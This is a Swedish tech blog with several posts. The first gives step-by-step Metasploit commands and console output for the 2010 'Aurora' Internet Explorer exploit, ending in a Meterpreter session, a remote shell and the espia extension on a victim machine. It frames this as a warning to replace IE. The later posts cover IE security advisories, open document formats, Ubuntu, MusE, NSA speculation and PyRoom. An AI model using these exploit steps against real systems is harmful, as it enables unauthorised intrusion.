Så här fungerar Aurora-hacket på Internet Explorer 6

Metasploit-projektet är världens största ramverk för IT-penetrationstester. Det är öppen källkod och har den absolut största databasen med kända exploits - säkerhetsluckor - av alla testmiljöer därute på det stora vida internet.

Som jag skrev tidigare så har Metasploit bara några timmar efter tillkännagivandet ordnat ett exploit för det så kallade Aurora-hacket.

Hacket kräver att en webbserver av något slag serverar koden till den sårbara maskinen. Enligt Metasploits blogg, fungerar hacket med en fullt patchad Windows Xp med Service Pack 3.

För att köra igång Metasploit, installera senaste versionen och kör en online-uppdatering.

Starta konsollen med kommandot msfconsole och skriv kommandona i fetstil:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (din IP-adress)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >

Öppna Internet Explorer på en sårbar maskin och skriv in det lokala IP-numret (i det här fallet http://192.168.0.151:8080/) i adressfältet. Om allt fungerat som det ska bör du få ett svar från Metasploit-konsollen, som ser ut såhär:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

Efter detta kan du inleda en ny session med kommandona i fetstil:

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

meterpreter > use espia
Loading extension espia...success.

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

och du är inne i systemets kommandotolk.

En fin video finns från de snälla människorna på Praetorian:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.

Den visar hur du gör rent praktiskt för att starta exploiten och döda en process, som ett proof-of-concept.

Denna säkerhetsbrist är alltså just i skrivande stund och sedan tre-fyra dagar tillbaka i allra högsta grad levande. Visserligen krävs det ett spam-epostmeddelande eller kanske någon illasinnad länk skickad via twitter för att få det att fungera, men i dessa url-förkortningstider (Bit.ly för att bara ta ett exempel) är det inget större problem att skicka skräp till varandra.

Varenda statlig institution, varje företag och ideell organisation som fortfarande kör en fullt patchad Windows XP med Service Pack 3, men fortfarande använder Internet Explorer 6 är alltså sårbara för den här typen av intrång!

Så här enkelt är det att ta sig in i ditt nätverk via webbläsaren Internet Explorer 6. Internet Explorer 7 har också denna sårbarhet om än med en variant, likaså en Internet Explorer version 8 om Data Execution Protection (DEP) av någon anledning är avslaget.

Byt ut din Internet Explorer nu!

Läs även andra bloggares intressanta åsikter om attack, banker, exploit, företag, ie, internet explorer, metasploit, microsoft, riskmedvetenhet, säkerhet

Sveriges IT-incidentcentrum (Sitic) varnar också för att använda Internet Explorer

Efter att Tyskland (SvD, DN) och även Frankrike (Google-översatt från le Monde) gått ut och varnat för att använda Internet Explorer, gör nu Sveriges IT-incidentcentrum Sitic detsamma, om än inte i samma kraftfulla ordalag.

Detta är knappast förvånande. Så gott som hela Sveriges offentliga IT-infrastruktur är ju byggt på produkten ifråga och Sitics policy är att inte uttala sig om specifika produkter, enligt IDG.se. Tor Johnson, säkerhetsexpert på Sitic citeras med

– En temporär lösning kan vara att använda en annan webbläsare

Sitic menar dock att alla Windows-versioner kan påverkas, liksom Internet Explorer 6, 7 såväl som 8, även om hotet är mindre med version 8, på grund av dess Data Execution Prevention (DEP). Eftersom Sitic har sin policy får den här rekommendationen ses som relativt kraftfull. Föga förvånande är inte Daniel Akenine, teknikchef på Microsoft i Sverige lika skeptisk. Han rekommenderar istället att man uppgraderar till Internet Explorer 8 och väntar på en säkerhetsuppdatering som kommer .. någon gång.

Att hotet är allvarligt visas dock av att Microsoft funderar på att gå utanför sina vanliga rutiner och släppa en uppdatering innan sin sedvanliga patch-tisdag, som brukar vara den andra tisdagen i varje månad.

Att det enligt Akenine inte synts någon större spridning spelar mindre roll när hotet är allvarligt och Metasploit släppt en funktion för att använda sårbarheten på ett enkelt sätt. Även om Microsoft i Tyskland tonat ned hotbilden genom att uttala sig om att attackerna utfördes av

"extremt motiverade människor med en mycket specifik agenda" och att "attacken inte var riktad mot vanliga användare eller konsumenter"

Det är inte samma sak som att den inte kan riktas mot vanliga användare eller konsumenter, märk väl.

Blogge uttrycker sig som vanligt rätt så mustigt kring det hela.

Jag undrar när bankerna vaknar till liv och tar upp plånboken för att uppgradera sina interna system från Internet Explorer 6. Jag vet åtminstone två av våra största banker som sitter med enbart Internet Explorer 6 på de interna nätverken. Jag känner mig inte alls säker att mina pengar förvaltas väl av våra storbanker.

Med den här säkerhetsbristen känns det ännu mer ovisst.

Läs även andra bloggares åsikter om attack, banker, exploit, ie, internet explorer, metasploit, microsoft, sverige, säkerhet

UK: Arresterad för bombskämt på Twitter

Bild från forth.ie

This just in: Twittraren Paul Chambers, som klokt nog låst sina tweets numera, arresterades under Terrorism Act i Storbritannien efter att ha ventilerat sin frustration då den flygplats som han skulle åka ifrån en vecka senare stängts på grund av massivt snöfall. För att roa sina vänner skrev han:

"Robin Hood airport is closed. You've got a week and a bit to get your shit together, otherwise I'm blowing the airport sky high!!"

Det var menat som ett skämt, men polisen tog det inte riktigt så. En vecka senare arresterades han och förhördes i ungefär sju timmar, enligt The Independent.

Det här visar (återigen!) på att det inte spelar någon roll hur "rent mjöl i påsen" man har, när det handlar om scared-shitless ordningsmakter med våldsmonopol så kan man ändå åka på rätt rejäla obehagligheter. Han har dessutom blivit bannlyst från Doncaster-flygplatsen på livstid. Det känns rimligt.

Till er som tycker att han får skylla sig själv: eat my shorts. Man ska kunna skämta om såna här saker utan att det leder till massarresteringar och utlämnande till någon tortyr-nation. Det här är så löjligt att klockorna stannar.

Läs även andra bloggares åsikter om internet, storbritannien, storbrutannien, terror, twitter, uk, övervakning

Det öppna Norge

Öppna dokumentformat handlar om sättet att lagra information i exempelvis ett ordbehandlingsdokument. Ett öppet dokumentformat har utarbetats av en oberoende sammanslutning i en öppen process. Öppna dokumentformat har också en referensimplementation som visar hur det ska fungera, och ett publikt dokument som beskriver hur det är uppbyggt. Detta för att man på ett enkelt sätt ska kunna använda dokumentformatet i sin egen produkt och därför få en jämnare konkurrenssituation.

Att Norge i jämförelse med Sverige är väldigt långt framme när det gäller öppna dokumentformat är kanske ingen nyhet för många av mina läsare. Den norska Referenskatalogen för standarder inom offentlig sektor har sedan länge hänvisat till OpenDocument-formatet (ODF) (ISO 26300) och PDF/A (ISO 19005-1) som format för att hantera text-dokument.

Att standardisera myndighetskommunikation på öppna format har flera fördelar. En är att befolkningen kan ta del av informationen utan att tvingas köpa programvara, eller piratkopiera densamma. I Sverige är det mer regel än undantag att skolelever tvingas piratkopiera eller i undantagsfall lägger pengar på att köpa Microsoft Office för att kunna ta del av information från skolan på sina hemdatorer. En annan fördel är att dokumentformatet aldrig kommer att "gå ur tiden" eftersom standarden är öppet tillgänglig och publicerad. Om så dokumenten blir 1000 år gamla så kommer de att kunna läsas i den form de skrevs, eftersom det går att tolka dokumenten så som avses, under förutsättning att lagringsmediat är läsbart förstås.

I en undersökning från 2008 kunde 80 procent (80%) av Sveriges kommuner inte svara på dokument som skrivits i ett öppet eu-standardiserat dokumentformat. De andra hänvisade till exempel till att skicka i Microsofts .doc-format, eller "i ett format som vi kan öppna".

Nu meddelar Norsk Rikskringkastning (NRK) att man inför OpenOffice.org, ett fritt och gratis kontorspaket som kan läsa och skriva det standardiserade formatet ODF. Detta i tillägg till att all media från NRK ska vara tillgänglig i de öppna formaten Ogg/Theora (video), Ogg/Vorbis (ljud) och FLAC (förlustfritt ljud).

Anledningen till bytet uppges bland annat vara att Mac OS X-versionen av Microsoft Office inte hanterar ODF-formatet, vilket gör att de drygt 850 Apple-datorerna som NRK har inte kan använda sig av det standardiserade formatet. Man menar också att licenskostnaderna för Office-paketet är en del i anledningen till att bytet ska göras.

De få problem som tillstött härrör ur de dokument och mallar där VisualBasic-kod använts för att automatisera beställningar och visa scheman. Man kommer att lösa detta genom att lägga scheman (som sig bör i mitt tycke) i en nätverksdatabas istället för i dokument. Andra problem som uppkommit är regelhanteringen mot Microsoft Exchange och varsling om ny epost, då man gått över till att köra Outlook WebAccess via webbläsaren istället för programmet Outlook.

Som statsrådet Heidi Grande Røys uttryckte saken (fritt översatt):

Det är ett demokratiskt problem när inte alla kan följa med [i Stortings-debatter] för att staten och andra använder proprietära lösningar

Man har därför bestämt att alla offentliga institutioner ska följa dessa dokumentstandarder senast 1 januari 2011 och att alla offentliga webbplatser som serverar ljud- och bildinnehåll ska införa Ogg-formaten till 1 januari 2012 och att tidigare inspelat innehåll ska vara konverterat till 1 januari år 2014. Man trycker också hårt på att alla offentliga webbplatser ska använda teckenuppsättningen UTF-8 (ISO 10646).

Till detta kan läggas att Norge har ungefär 300 högstadie- och gymnasieskolor som kör öppen och fri programvara i verksamheten.

Det hade varit intressant att se en parallell-installation av OpenOffice.org på alla svenska statliga datorer någon gång i framtiden, så att man kan öppna dessa dokumentformat överallt. Det kostar som sagt inget i licenskostnader, men är givetvis inte gratis i arbetstid.

Vinsterna för samhället i stort skulle dock kunna bli rejäla på sikt.

Det är dags att ta ett krafttag för att få bukt med de här problemen. Jag kommer att starta upp ett projekt om några månader som syftar till att bygga en öppen infrastruktur för skolor att bygga på. Den som vill vara med i projektet är välkommen att kommentera det här inlägget.

Läs även andra bloggares intressanta åsikter om datorer, dokumentformat, fri programvara, linux, norge, nrk, öppna dokumentformat, öppna format, öppen källkod

Tysklands IT-säkerhetsmyndighet avråder från att använda Internet Explorer

Ingen har väl missat Googles utspel mot Kina efter att man upptäckt en attack mot företaget som hade sitt ursprung därifrån. Då fick ju Google en chans att slå sig för bröstet och äntligen sätta en liten newton bakom sitt "Don't be evil"-mantra. Nu står det klart att det var en svaghet i Internet Explorer 6,7 och 8 som användes, som gör det möjligt att fjärrköra programkod via webbläsaren. Opassande har gjort en bra länksammanfattning av det inträffade.

Microsoft har utfärdat säkerhetsmeddelandet 979352 som beskriver problemet. Det lovas också att hålet ska tätas till "inom kort".

Problemet är dock att verktyget Metasploit som testar penetration av nätverk hade en funktion klar för att utnyttja sårbarheten inom några få timmar efter tillkännagivandet. Alltså långt innan säkerhetshålet ens börjat täppas till, vilket återigen bevisar att det är omöjligt för enskilda företag att hålla jämna steg med det kollektiva internet.

Tysklands IT-säkerhetsmyndighet (BSI) har därför uppmanat alla tyska medborgare och myndigheter att sluta använda Internet Explorer till förmån för andra webbläsare, åtminstone tills hålet är tätat igen. De meddelar också att köra Internet Explorer i "skyddat läge" stoppar inte möjliga attacker.

Jag hoppas att svenska myndigheter följer efter för att trygga vår statliga information mot intrång utifrån. Här är det ju bara interna myndigheter som får ta del av folkets snaskiga hemligheter.

Detta är ännu en spik i Internet Explorers kista och jag utgår nu ifrån att myndigheter och företag på allvar börjar uppdatera sina nätverksanslutna datorer så att vi slipper höra om eländet något mer. Internet Explorer 6 är för guds skull nio (9!!) år gammal vid det här laget.

Läs även andra bloggares intressanta åsikter om attack, exploit, google, ie, internet explorer, kina, metasploit, microsoft, tyskland

Midisequencern och ljudinspelaren MusE i version 1.0

Precis innan jul släpptes MusE i version 1.0, vilket också tidningen Studio har uppmärksammat. MusE är en midisequencer och ljudinspelare som tar upp kampen med Rosegarden och Ardour.

MusE har stöd bland annat för VST och DSSI, LADSPA och JACK, vilket innebär att det integrerar bra i en Linux-ljudmiljö. MusE 1.0 är skrivet för QT3.

Robban på spamatica.se har gjort ett gäng videotutorials som visar hur man använder MusE för de mest grundläggande operationerna, bland annat att spela in ett MIDI-spår med ett externt MIDI-keyboard och en SoundFont via FluidSynth:



Nästa del (1 av 2) går igenom metronom-inställningar, midi-editering, loopar och quantizing:



(2 av 2) går igenom sparande av midi-delar, delning av midi-inspelning, klipp och klistra, plugins för midi-instrument, effekter, presets och velocity:



Den tredje delen går igenom trumprogrammering i MusE, men den går dessvärre inte igenom hur man får in trumsamplingar och trum-mappningar i programmet, så den är inte helt lämpad för totala nybörjare:



Om det dyker upp fler tutorials om MusE från Robban, bör de gå att hitta på hans youtube-sida.

Om ljudproduktion i Linux kan man få grunderna i min blogg http://linux-daw.blogspot.com. Även fast informationen är ganska gammal så är det mesta sig likt, förutom att PulseAudio har kommit in och kastat om förhållandena lite. Dock kör man fortfarande JACK över ALSA när man håller på med musik, så det bör fungera.

Läs även andra bloggares åsikter om alsa, datorer, fri programvara, jack, linux, ljudproduktion, midi, muse, sequencing, öppen källkod

Lögn, förbannad lögn och statistik

IDG.se rapporterar att Windows marknadsandel går kräftgång. Artikeln i fråga hänvisar inte till någon källa, så hur tillförlitliga siffrorna är som rapporteras i den är oklart.

Emellertid hänvisas det i kommentarerna till Net Applications senaste mätning, som även SweClockers hänvisar till och siffrorna överensstämmer med de som redovisas i IDG-artikeln. Det som framkommer i SweClockers-artiken är att det är mobila enheter som står för orsaken till Windows tappade marknadsandel, inte de konkurrerande skrivbordssystemen Mac OS X och Linux. Även om jag gärna sett att det var det. Istället är det alltså iPhone och Android som vinner mark. I och för sig är detta produkter baserade på Apple-teknik och Linux, så all is well that ends well, kanske.

Glädjande är dock att Linux ligger över enprocents-strecket. I slutet av april kommer den nya Ubuntu-versionen 10.04, Lucid Lynx. Det är en så kallad Long Term Support-version, vilket innebär att den stöds med uppdateringar och säkerhetspatchar i tre år för skrivbordsversionen och i fem år för serverversionen.

Den senaste versionen, 9.10 Karmic Koala, var en stor besvikelse för mig. Efter att ha skrivit om den, väntat på den och trott på produkten efter att ha testat den som virtuell maskin, fick jag den inte ens att starta på min dator. Urban Anjar, som läste mina besvikna bloggposter, tyckte att det handlade om en "nästa-version-sjuka" vilket jag tyckte var för dumt för att kommentera just då.

Jag är otroligt motivationsdriven i det jag tar mig för. Jag har aldrig varit speciellt bra på att jobba för företeelser, rörelser eller produkter som jag inte tror på. Att lägga ner tankemöda, lust och kreativitet i något som jag tappat tron på är för mig väldigt motigt. Jag är ganska intensiv till min natur och när jag brinner för något kan jag jobba väldigt koncentrerat och länge utan rast eller vila och bara mala på tills det är klart. Dessa saker kan variera från dag till dag, men det blir alltid hundraprocentigt. Vissa skulle kalla det maniskt.

När jag då jobbat för Ubuntu så intensivt och helhjärtat under en längre tid, och slutresultatet blir att min dator inte kan starta upp med den nya Linux-kärnan, ljudet inte fungerar längre, det mobila bredbandet vägrar att ta emot DNS-serverinställningarna och USB-subsystemet inte funkar som det har gjort, då tappar jag sugen. Vilket var vad som delvis hände efter 9.10.

En gång i tiden satt jag och kompilerade kärnor, tweakade konfigurationsfiler och kunde läsa howtos och mailinglistor på nätet under flera dagar för att få saker att fungera. Nu, med en enda hyfsad dator som jag kan använda, funkar inte det tillvägagångssättet längre. Jag måste ha en dator som fungerar till det jag måste göra. Jag kan inte sitta i timmar och felsöka, tweaka och meka.

Att uppgradera från 9.04 till 9.10 var en fullständig katastrof för mig. Att ubuntus buggsystem har svämmat över är väl bevis nog för att jag inte är ensam om att ha fått problem. Barre har såklart rätt i att de som vill ha fungerande stabila system bör köra LTS-versionerna. Kanske har jag blivit bortskämd med att de mellanliggande versionerna fungerat så bra för mig att jag förväntar mig att de ska göra det för all framtid. Egentligen bryr jag mig inte om hur bra det funkar för andra. Det är min egen upplevelse som jag primärt går efter. Kanske har det avskräckt många helt i onödan och det är såhär i efterhand väldigt dumt.

Jag är glad för alla personer som fått 9.10 att fungera klockrent med sin dator och det är glädjande att se att ubuntu-användandet växer hela tiden, men för mig har motivationen för att sprida Ubuntu mattats av en aning av mitt eget misslyckande att köra den senaste versionen. Så jag sitter fortfarande med 9.04 och är nöjd med den. Jag ska göra ett nytt uppgraderingsförsök när 10.04 kommer. Jag tycker fortfarande att Ubuntu är ett överlägset bra system. Öppen källkod och Fri programvara har framtiden för sig och Ubuntu är något av det bästa man kan erbjuda på den fronten.

Jag har därför stora förhoppningar på att nästa version av Ubuntu, 10.04, kommer att vara ett stabilt, robust system som verkligen kan ta upp kampen om operativsystemsandelarna på allvar. Linux som helhet står väl rustat för skrivbordet med stöd för USB 3.0, multitouch och massor av annat.

Just nu håller jag istället på och klipper i den film jag håller på med om FOSS. Jag har en del material kvar att få in, men förhoppningsvis blir den klar till i april, när Lucid Lynx lanseras den 29:e. För övrigt ett datum som redan nu finns med i fosskalendern. Planeringen har redan börjat och vill du vara med och dra i tåtarna så går det bra att påverka både här och där.

Med förhoppning om ett gott nytt Ubuntu Linux-år!

Bakdörr för NSA i Windows 7?

För några dagar sedan vittnade en anställd vid National Security Agency (NSA) inför den amerikanska kongressen att myndigheten hade varit med i utvecklingen av Windows 7. (via Slashdot)

NSA har enligt vissa källor i artikeln varit inblandat i utvecklingen av Windows sedan "kryptokrigen" på 1990-talet och givetvis dyker det upp spekulationer om att NSA har byggt in bakdörrar i Microsofts operativsystem för att enkelt kunna spåra och övervaka användarna. Detta har nu Microsoft förnekat.

Att NSA har velat ha möjlighet att enkelt gå in och läsa data gjordes klart redan 1993 när de släppte ett förslag om det så kallade Clipper-chipet som skulle ge användarna stark kryptering men också erbjuda amerikanska myndigheter möjligheten att genom en bakdörr kunna läsa information från vilket system som helst.

Kommunikationsjätten Cisco har också utformat sina produkter för att kunna erbjuda "lawful intercept" i kommunikationen.

Enligt artiklarna ovan har NSA varit inblandad i samband med utformandet av Security Compliance Management Toolkit, som är en del av Windows 7. Nu tror inte jag att Microsoft skulle satsa sitt rykte och sin marknad på att bygga in en bakdörr i sitt operativsystem. Det är illa nog som det är med DRM och Windows Genuine Advantage, men det finns en faktor som skulle gjort alla dessa spekulationer helt överflödiga.

Om Windows hade utvecklats med öppen källkod, skulle det inte kunna finnas några som helst tvivel på att ingen sådan bakdörr existerar. Säkerhetsexperter skulle själva kunna granska koden och de säkerhetsmedvetna (och paranoikerna) skulle kunna kompilera sin egen version utifrån den granskade källkoden. Alla skulle kunna känna sig säkra på att man har en version av sitt operativsystem som inte "ringer hem" eller låter ens personliga kommunikation övervakas.

Kontroll är det främsta incitamentet för öppen källkod.

Läs även andra bloggares åsikter om avlyssning, bakdörr, datorer, fri programvara, nsa, windows, öppen källkod, övervakning

Installera Ubuntu 9.10 inuti Windows

Det absolut enklaste sättet att installera Ubuntu är att göra det som en del av Windows. För att göra det behöver du WUBI (Windows-baserad UBuntu Installer). Det är ett Windowsprogram som du kan ladda ner här, som installerar Ubuntu som ett program inuti Windows, som kan tas bort genom Kontrollpanelens Lägg till/Ta bort program.


Klicka för att hämta

För att köra Wubi behöver du en fungerande Internet-anslutning. Programmet är 1.4 Megabyte stort, men när du kör igång programmet och börjar installera Ubuntu kommer programmet att hämta hem runt 700 Megabyte data, för att sedan installera Ubuntu.


Välj skrivbordssytem, installationsstorlek och användarnamn och lösenord. Sen kan du gå och ta en kopp...

Med installationsstorlek menas hur mycket av hårddisken som ska upptas av Ubuntu-installationen. Installationsprogrammet skapar en fil på hårddisken som används av Ubuntu. En installationsstorlek på 6 gigabyte skapar således en fil på hårddisken som är 6 gigabyte stor.

Användarnamn och lösenord krävs också, eftersom Ubuntu vill ha ett användarnamn att använda för administrativa åtgärder (administrationsrättigheter). Det behöver väl egentligen inte påpekas, men glöm inte bort ditt lösenord. Även om det går att ange att lösenord inte behöver anges vid inloggning, krävs lösenordet vid programinstallationer och andra operationer som kräver administratörsrättigheter.

När Ubuntu är installerat och datorn sedan startar upp, kommer du att få två val, antingen att starta upp din Windows-installation, eller starta upp Ubuntu.


Uppstartsväljaren efter installation av Ubuntu i Windows

Wubi fungerar för

• Windows 98
• Windows 2000
• Windows XP och
• Windows Vista

Wubi går att installera i Windows 7 också, men måste då köras i Vista-kompatibelt läge.

Avinstallation

Att avinstallera Ubuntu är lika enkelt som att avinstallera vilket Windows-program som helst. Genom att gå in i Kontrollpanelen och sedan leta upp Lägg till/Ta bort program (i Windows XP) eller Program och Funktioner (i Windows Vista), går det att välja avinstallation som alla andra Windows-program.


Ubuntu kan enkelt avinstalleras genom ett knapptryck.

Det fina med Wubi är att det inte kräver någon uppdelning av hårddisken (partitionering), ingen CD-bränning och man slipper krångla med avinstallationen och återskapa originalpartitionen. Det är ett väldigt enkelt sätt att prova på fri programvara och öppen källkod.

Kom bara ihåg att Ubuntu Linux inte är Windows. Det kommer inte och ska inte fungera exakt som Windows. Det står bra på egna meriter. Däremot behövs det en del inställningar efter installationen för att man ska kunna använda sin dator fullt ut. Se gärna guiden nedan för tips och tricks för att få ett fullt fungerande Ubuntu-system:

Ubuntu Steg för Steg.

Jag hoppas att du får mycket nöje av din Ubuntu-installation. Du är välkommen att ställa frågor på forumet om det uppstår några funderingar.

Läs även andra bloggares åsikter om 9.10, datorer, fri programvara, installation, karmic koala, linux, microsoft, ubuntu, windows, öppen källkod

PyRoom - Jan Guillous nya ordbehandlare?

PyRoom (tack för tipset Påvel) är ett program för skrivande som går åt rakt motsatt håll än alla andra. Istället för att erbjuda tusentals funktioner, menyer och knappar till förbannelse och effekter, justeringar, marginaler till den milda grad att skrivytan blir den mindre delen av skärmen, försöker PyRoom att vara så minimalistisk som möjligt för att man ska kunna fokusera på skrivandet istället för formatteringen.

De inställningar man kan göra är färgval, typsnitt och om man vill ha indrag på nya paragrafer. Här har jag ställt in Times New Roman i storlek 12, med temat Amber:


Befriande rent användargränssnitt i PyRoom.

Programmet kan hantera klipp och klistra via <CTRL>+<C>, <V> och <X> precis som vanliga program, eller via högerklick. Filerna sparas som vanlig text, utan någon som helst formattering. Möjligheten till import och framtidssäker lagring är därför helt outstanding.

PyRoom kan även behandla flera texter samtidigt genom möjligheten att använda flera olika text-buffertar. Dessa kan man växla mellan genom <CTRL>+<PgUp> eller <PgDn>.

Även om jag skulle vilja ha lite fler formatteringsmöjligheter, som kanske tre olika rubriksteg och möjlighet till fet och kursiv stil, tycker jag att PyRoom (webbplats) är helt vidunderligt skönt att arbeta med. Inget onödigt pjosk och meningslösa funktioner som aldrig används. En enda ruta där man skriver texten rakt upp och ner, utan krusiduller. Så befriat från distraherande knappar och menyer, linjaler, ritfunktioner, animationer och tabellfunktioner.

Bara skriv. Som rollkaraktären William Forrester (spelad av Sean Connery) från filmen Finding Forrester så träffande beskrev det:

The key to writing is to write, not to think.

Jag skulle kunna tänka mig att till och med teknikfientliga maskinskrivare som Jan Guillou skulle uppskatta PyRoom, som är en fri variant av programmet WriteRoom. Om det avhåller honom från att yttra sig om teknik som han absolut inte har en aning om återstår att se, men jag kommer inte att hålla andan tills det sker, så mycket kan jag tala om.

----

Övrigt läsvärt i dagarna är Marcus Rejås, som benar ut turerna kring Skypes eventuella öppnande av källkoden.

Inte minst relevant för den här bloggposten är Urban Anjars kåseri om användarvänlighet, eller kanske snarare användbarhet, det vill säga den grad i vilken användare i ett givet sammanhang kan bruka en produkt för att uppnå specifika mål på ett ändamålsenligt, effektivt och för användaren tillfredsställande sätt.

Läs även andra bloggares åsikter om datorer, fri programvara, it, jan guillou, ordbehandling, pyroom, öppen källkod